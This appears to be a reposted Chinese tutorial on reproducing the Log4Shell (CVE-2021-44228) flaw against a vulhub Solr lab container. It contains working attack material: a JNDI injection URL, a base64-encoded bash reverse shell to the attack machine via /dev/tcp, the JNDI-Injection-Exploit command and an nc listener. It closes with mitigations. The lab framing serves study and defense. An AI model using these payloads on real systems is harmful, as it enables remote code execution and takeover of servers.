vulhub复现CVE-2021-44228log4j漏洞

目录

一:漏洞概述

二:漏洞原理

三:漏洞利用

lookup功能:

JNDI解析器:

ldap服务:

RMI:

四:漏洞复现

4.1靶场

4.2dnslog测试

4.3部署jndi-injection-exploit

4.4打开监听端口

4.5触发请求,请求内容为恶意class文件

五、解决方法:


一:漏洞概述

Log4j漏洞是由于Log4j 2在处理日志消息中的JNDI(Java Naming and Directory Interface)查找时存在的不安全实现而引发的。攻击者可以通过特制的日志消息利用此漏洞,从而使Log4j在处理日志消息时,连接到恶意的LDAP服务器并执行任意代码。


二:漏洞原理

攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。


三:漏洞利用

攻击者利用该漏洞的步骤如下:

  1. 构造恶意日志消息:攻击者创建一个包含JNDI查找请求的特制字符串,例如${jndi:ldap://attacker.com/a}。
  2. 日志记录:该字符串被应用程序记录到日志中。
  3. JNDI查找:Log4j在处理这条日志消息时,会解析JNDI查找请求并尝试连接到指定的LDAP服务器。
  4. 恶意代码执行:如果LDAP服务器返回一个恶意的Java类,Log4j将加载并执行该类中的代码,从而使攻击者能够在目标系统上执行任意代码。

lookup功能:

  • Lookup 是一种查找机制,用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式,可以在日志消息中引用、解析和插入各种上下文相关的信息。
  • log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头

JNDI解析器:

  • JND全称为Java命名和目录接口,提供了命名服务和目录服务,允许从指定的远程服务器获取并加载对象,JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

  • 正常的包含jndi的日志记录方式如下:

  • logger.info("system propety: ${jndi:schema://url}");

  • log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

  • jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。

  • 攻击者如何控制服务器上记录的日志内容呢?

  • 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。

  • ldap服务:

    LDAP(轻型目录访问协议)是一个开放的,中立的,工业标准的应用协议,
    通过IP协议提供访问 控制和维护分布式信息的目录信息。

    目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。


    RMI:

    RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。

四:漏洞复现

4.1靶场

靶机11.0.1.15
攻击机/监听机11.0.1.20

vulhub创建CVE2021-44228环境 ,如果出现以下情况,且换docker加速源无用的情况下请参考(百试百灵 屡试不爽):[已解决]DockerTarBuilder永久解决镜像docker拉取异常问题-CSDN博客

┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
ERROR: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

 靶场容器创建成功

┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                       NAMES
44d82bcf4772   vulhub/solr:8.11.0   "bash /docker-entryp…"   5 hours ago   Up 5 hours   0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2021-44228_solr_1

访问11.0.1.15:8983

4.2dnslog测试

访问dnslog.cn,创建一个域名

我这里是mkd5k.dnslog.cn

访问http://11.0.1.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mikd5k.dnslog.cn}

刷新“refresh record”回显说明存在漏洞,但这里添加了$(sys.java.version)但没有显示java版本,原因未知。

4.3部署jndi-injection-exploit

部署jndi-injection-exploit,需要jdk环境,我这里使用jdk-8u381

https://github.com/welk1n/JNDI-Injection-Exploit/releases

 编码转换地址

Runtime.exec Payload Generater | AresX's Blog

原命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "转化后的bash编码命令" -A "攻击机/监听机/本机"反弹shell的命令(编码前)
bash -i >& /dev/tcp/11.0.1.20/6666 0>&1
反弹shell的命令(编码后)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"

创建jndi服务

其中生成的链接后面的codebaseClass是6位随机的,因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTPserver返回相应class,更自动化了。

[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
[ADDRESS] >> 11.0.1.20
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://11.0.1.20:1099/ht5juj
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/tcyijf
ldap://11.0.1.20:1389/tcyijf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/7hzekb
ldap://11.0.1.20:1389/7hzekb----------------------------Server Log----------------------------
2024-12-10 15:33:43 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2024-12-10 15:33:43 [RMISERVER]  >> Listening on 0.0.0.0:1099
2024-12-10 15:33:44 [LDAPSERVER] >> Listening on 0.0.0.0:1389

这里使用jdk1.8,所以是rmi://11.0.1.20:1099/tcyijf

4.4打开监听端口

攻击机/监听机另开一个终端监听

nc -lvnp 6666

4.5触发请求,请求内容为恶意class文件

浏览器访问http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

监听机成功获取容器shell 

http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

 成功获取shell

五、解决方法:

1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

参考:

log4j远程代码执行漏洞 - 假牙哥66 - 博客园

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

网络安全最新【漏洞复现】2(1)_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客

Log4j漏洞CVE-2021-44228原理以及漏洞复现【vulhub】-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/62693.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ip地址获取失败啥意思?ip地址获取失败怎么回事

在日常的网络使用中,我们时常依赖于稳定的IP地址来确保数据的顺畅传输和设备的正常识别。然而,有时我们会遇到“IP地址获取失败”的困扰,这不仅阻碍了我们的网络访问,还可能带来一系列的网络连接问题。那么,IP地址获取…

OpenGL ES详解——多个纹理实现混叠显示

目录 一、获取图片纹理数据 二、着色器编写 1. 顶点着色器 2. 片元着色器 三、绑定和绘制纹理 1. 绑定纹理 2. 绘制纹理 四、源码下载 一、获取图片纹理数据 获取图片纹理数据代码如下: //获取图片1纹理数据 mTextureId loadTexture(mContext, R.mipmap.…

十一、容器化 vs 虚拟化-Docker

文章目录 前言一、Docker 介绍1. 简介2. 应用场景3. 特点4. Docker和虚拟机之间的区别5. 解决痛点1. 解决依赖兼容2. 解决操作系统环境差异3. 小结 二、Docker 架构三、工作流程五、Docker 核心组件及其工作机制1. Docker 客户端(Docker Client)2. Docke…

linux学习笔记01 基础命令

目录 创建 touch 创建文件 (创建但是不打开) vi / vim 创建文件 (创建一个文件并打开) mkdir 创建文件夹 切换目录 cd 查看 pwd 查看当前目录完整路径 ls 查看目录信息 dir 查看目录信息 ll 表示查看目标目录下的信息 ls -a 查看当前目录下的…

【深度学习】深刻理解多模态模型CLIP

CLIP(Contrastive Language-Image Pretraining) 是由 OpenAI 提出的一个多模态模型,旨在学习视觉和语言的联合表示,能够通过图像和文本之间的对比学习来实现图像和文本之间的紧密联系。CLIP 模型可以通过自然语言描述理解和处理图…

mysql时间戳格式化yyyy-mm-dd

格式化到 年月日 # 将时间换成列名就行;当前是秒级时间戳,如果是毫秒的 / 1000即可 # SELECT FROM_UNIXTIME(1602668106666.777888999 / 1000,%Y-%m-%d) AS a; # SELECT FROM_UNIXTIME(列名 / 1000,%Y-%m-%d) AS a; SELECT FROM_UNIXTIME(1602668106.666…

PDFMathTranslate,PDF多语言翻译,批量处理,学术论文,双语对照(WIN/MAC)

分享一个非常实用的PDF文档翻译项目——PDFMathTranslate。作为一个经常逛GitHub的开发者,我总喜欢翻看各种项目附带的论文,虽然大多时候是瞎研究,但却乐在其中。该项目能够完美保留公式、图表、目录和注释,对于需要阅读外文文献的…

爬虫基础之代理的基本原理

在做爬虫的过程中经常会遇到一种情况,就是爬虫最初是正常运行、正常抓取数据的,一切看起来都是那么美好,然而一杯茶的工夫就出现了错误,例如 403 Forbidden,这时打开网页一看,可能会看到“您的IP访问频率太…

鲲鹏麒麟安装Kafka-v1.1.1

因项目需要在鲲鹏麒麟服务器上安装Kafka v1.1.1,因此这里将安装配置过程记录下来。 环境说明 # 查看系统相关详细信息 [roottest kafka_2.12-1.1.1]# uname -a Linux test.novalocal 4.19.148 #1 SMP Mon Oct 5 22:04:46 EDT 2020 aarch64 aarch64 aarch64 GNU/Li…

群控系统服务端开发模式-应用开发-登录退出发送邮件

一、登录成功发送邮件 在根目录下app文件夹下controller文件夹下common文件夹下&#xff0c;修改Login.php&#xff0c;代码如下 <?php /*** 登录退出操作* User: 龙哥三年风水* Date: 2024/10/29* Time: 15:53*/ namespace app\controller\common; use app\controller\Em…

[游戏开发] Unity中使用FlatBuffer

什么是FlatBuffer 官网&#xff1a; GitHub - google/flatbuffers: FlatBuffers: Memory Efficient Serialization LibraryFlatBuffers: Memory Efficient Serialization Library - google/flatbuffershttps://github.com/google/flatbuffers 为什么用FloatBuffer&#xff0c…

MySQL其一,概念学习,可视化软件安装以及增删改查语句

目录 MySQL 1、数据库的概念 2、数据库分类 3、MySQL的安装 4、安装过程中的问题 DataGrip的使用&#xff1a; SQLynx的使用&#xff1a; 5、编写SQL语句 6、DDL语句 7、DML 新增数据&#xff1a; 删除数据&#xff1a; 修改数据&#xff1a; MySQL SQL其实是一门…

05 在 Linux 使用 AXI DMA

DMA简介 DMA 是一种采用硬件实现存储器与存储器之间或存储器与外设之间直接进行高速数据传输的技术&#xff0c;传输过程无需 CPU 参与&#xff08;但是CPU需要提前配置传输规则&#xff09;&#xff0c;可以大大减轻 CPU 的负担。 DMA 存储传输的过程如下&#xff1a; CPU 向…

linux 安装 vsftpd 服务以及配置全攻略,vsftpd 虚拟多用户多目录配置,为每个用户配置不同的使用权限

linux 安装 vsftpd 服务以及配置全攻略&#xff0c;vsftpd 虚拟多用户多目录配置&#xff0c;为每个用户配置不同的使用权限。 linux 安装 vsftpd 服务以及配置全攻略 FTP 是 File Transfer Protocol 的简称&#xff0c;用于 Internet 上的控制文件的双向传输。同时&#xff0…

SQL语句在MySQL中如何执行

MySQL的基础架构 首先就是客户端&#xff0c;其次Server服务层&#xff0c;大多数MySQL的核心服务都在这一层&#xff0c;包括连接、分析、优化、缓存以及所有的内置函数&#xff08;时间、日期、加密函数&#xff09;&#xff0c;所有跨存储引擎功能都在这一层实现&#xff1…

ragflow连不上ollama的解决方案

由于前期wsl默认装在C盘&#xff0c;后期部署好RagFlow后C盘爆红&#xff0c;在连接ollama的时候一直在转圈圈&#xff0c;问其他人没有遇到这种情况&#xff0c;猜测是因为内存不足无法加载模型导致&#xff0c;今天重新在E盘安装wsl 使用wsl装Ubuntu Win11 wsl-安装教程 如…

C#常见错误—空对象错误

System.NullReferenceException&#xff1a;未将对象引用设置到对象的实例 在C#编程中&#xff0c;System.NullReferenceException是一个常见的运行时异常&#xff0c;其错误信息“未将对象引用设置到对象的实例”意味着代码试图访问一个未被初始化或已被设置为null的对象的成…

沁恒CH32V208蓝牙串口透传例程:修改透传的串口;UART-CH32V208-APP代码分析;APP-CH32V208-UART代码分析

从事嵌入式单片机的工作算是符合我个人兴趣爱好的,当面对一个新的芯片我即想把芯片尽快搞懂完成项目赚钱,也想着能够把自己遇到的坑和注意事项记录下来,即方便自己后面查阅也可以分享给大家,这是一种冲动,但是这个或许并不是原厂希望的,尽管这样有可能会牺牲一些时间也有哪天原…

Scala的隐式对象

Scala中&#xff0c;隐式对象&#xff08;implicit object&#xff09;是一种特殊的对象&#xff0c;它可以使得其成员&#xff08;如方法和值&#xff09;在特定的上下文中自动可用&#xff0c;而无需显式地传递它们。隐式对象通常与隐式参数和隐式转换一起使用&#xff0c;以…

矩阵的乘(包括乘方)和除

矩阵的乘分为两种&#xff1a; 一种是高等代数中对矩阵的乘的定义&#xff1a;可以去这里看看包含矩阵的乘。总的来说&#xff0c;若矩阵 A s ∗ n A_{s*n} As∗n​列数和矩阵 B n ∗ t B_{n*t} Bn∗t​的行数相等&#xff0c;则 A A A和 B B B可相乘&#xff0c;得到一个矩阵 …